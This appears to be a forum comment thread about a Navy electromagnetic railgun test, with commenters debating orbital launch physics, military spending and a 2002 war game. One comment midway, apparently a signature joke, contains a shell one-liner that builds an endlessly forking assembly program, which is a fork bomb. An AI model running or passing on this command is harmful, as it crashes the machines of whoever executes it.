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Navy Tests Mach 8 Electromagnetic Railgun
hargrand writes "Wired magazine has a story and publicly released video of the Navy test firing of a 32 megajoule electromagnetic railgun: 'Reporters were invited to watch the test at the Dalghren Naval Surface Warfare Center. A tangle of two-inch thick coaxial cables hooked up to stacks of refrigerator-sized capacitors took five minutes to power juice into a gun the size of a schoolbus built in a warehouse. With a 1.5-million-ampere spark of light and a boom audible in a room 50 feet away, the bullet left the gun at a speed of Mach 8.'"
You'll finally dominate the USSR militarily, ending the Cold War.
Mach 8 = 2 722.32 m/s.
Escape velocity being 11.2 km/s, so the answer is no.
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You win again, gravity!
Sadly I think your joke just hit the nail on the head of one of the things that is seriously fucked up about this country. I mean here we are, factories shuttered all over the place, people losing their homes left and right, over 22,000 factories offshored since 2001, and debt climbing like there is no tomorrow and THIS, this is what we spend our non existent money on? Giant fricking superguns? who in the fuck are we gonna use that stupid thing on? We already have the largest aircraft carrier fleet on the entire planet, our most likely enemies are groups like NK and Iran that would be lucky to come at us with kamikaze speedboats, and THIS is what we add even more debt for?
It just shows old Ike was right all those years ago. Once the military industrial complex got "too big to fail" no matter what is going on with our economy or the state of our enemies we are gonna be handing them ever increasing truckloads of cash. If we had ANY sense at all we'd cancel this crap, along with any new supercarriers being built (we already have 11 carriers for the love of Pete) and cancel that stupid F35 and just stick with the F15,16,18 combo. Oh and kill that stupid Osprey turkey while we are at it. We already have the most tech heavy military on the planet but as we are seeing in Iraq and Afghanistan all that means exactly jack and squat against the enemies of today. quit blowing money on stupid weapons already, Sheesh.
ACs don't waste your time replying, your posts are never seen by me.
If something is thrown or shot, the orbit will go through the point the shot was fired. You have a problem if that is on earth surface. Even if you are fast enough for a stable orbit you need a rocket to shift that orbit away from your starting point.
Summary says the boom was audible in a room 50 feet away? If I tip over a chair, it's audible in a room 50 feet away...
if you're done ranting now... railguns have plenty of non-military uses. The research into how to charge and quickly discharge those huge capacitors alone is very useful. Not to mention the applications for launching stuff into orbit, or in fusion reactors. As weapons they are great for taking down incoming missles. Also, if they were to make portable versions it would eliminate the need to carry dangerous explosives (gun powder, C4, etc..) and the projectile itself wouldn't be a dangerous heavy metal like lead. I'd rather see the military spend their time doing research like this than invading another 3rd world country.
We already have the largest aircraft carrier fleet on the entire planet, our most likely enemies are groups like NK and Iran that would be lucky to come at us with kamikaze speedboats, and THIS is what we add even more debt for?
BTW - When we did red vs blue naval wargames a few years back, those kamikaze speedboats kicked the blue team's ass.
It was so embarassing that...
When the Red Team sank much of the Blue navy despite the Blue navy's firing of guns and missiles, it illustrated a cheap way to beat a very expensive fleet. After the Blue force was sunk, the game was ordered to begin again, with the Blue Team eventually declared the victor.
The last few meaningful encounters the USA has had with low-tech asymmetric warfare have gone relatively poorly for them.
[Fuck Beta]
o0t!
Sadly I think your joke just hit the nail on the head of one of the things that is seriously fucked up about this country. I mean here we are, factories shuttered all over the place, people losing their homes left and right, over 22,000 factories offshored since 2001, and debt climbing like there is no tomorrow and
BOOM
stupid Osprey turkey while we are at it. We already have the most tech heavy military on the planet but as we are seeing in Iraq and Afghanistan all that means exactly jack and squat against the enemies of today. quit blowing money on stupid weapons already, Sheesh.
I'm sorry, I didn't hear you over the sound of how awesome my 32MJ rail gun is.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
While the defense budget is no doubt way out of control, this is not at all the sort of thing that worries me. It has no practical military value in the near term, and at least produced interesting results.
I'm more concerned about other high-tech anti-personel weapons or robots, that will inevitably be pointed at people, possible even at our own citizens before long.
Speaking of waste, and far more disturbing at that, take a look at what the anti-terrorism efforts have spawned. I really had no idea of the scale of it. Having this turned against our own citizens as the fascism ramps up is truly frightening.
I knew I recognised that story - but it seemed to miss some fairly interesting points for whatever reason...
http://en.wikipedia.org/wiki/Millennium_Challenge_2002
At this point, the exercise was suspended and Blue's ships were "re-floated" and changes were made to the rules of engagement; later this was justified by General Peter Pace as: "You kill me in the first day and I sit there for the next 13 days doing nothing, or you put me back to life and you get 13 more days' worth of experiment out of me. Which is a better way to do it?" In the new restarted exercise the different sides were ordered to follow predetermined plans of action, leading to allegations that the exercise was scripted and "$250 million was wasted". Due to his concerns about the scripted nature of the new exercise, Van Riper resigned his position in the midst of the war game. Van Riper later expressed concern that the wargame's purpose had shifted to reinforce existing doctrine and notions of infallibility within the U.S. military rather than serve as a learning experience.
The re-floating of blue teams boats was just the start of embarrassing behaviour.
Quite interesting how US media differs from other parts of the world when telling this story - obviously it might look insulting to you guys, but isn't this the sort of shit you would like to know about? - http://www.guardian.co.uk/world/2002/sep/06/usa.iraq
The energy is not the same, however, it might not be less.
When you launch with a rocket, the rocket accelerates throughout the journey, making the maximum in atmosphere speed lower.
If you launch with a railgun, it starts _really_ fast and then slows down until it hits orbit. The fastest part of this trip is done at the highest air pressure. Which is really bad due to the exponential increase in drag as you increase speed. You would also need to take into account the added weight of heat shielding.
The comparable amount of energy would be launching a rocket with one large explosion on the ground. I would imagine that many of the same problems would exist whether this was done with a railgun or a bomb. I would not assume that the energy used was less.
Now if you launched from the moon (or anywhere else without an atm) then the railgun would have energy advantages.
Morpheus, God of Dreams.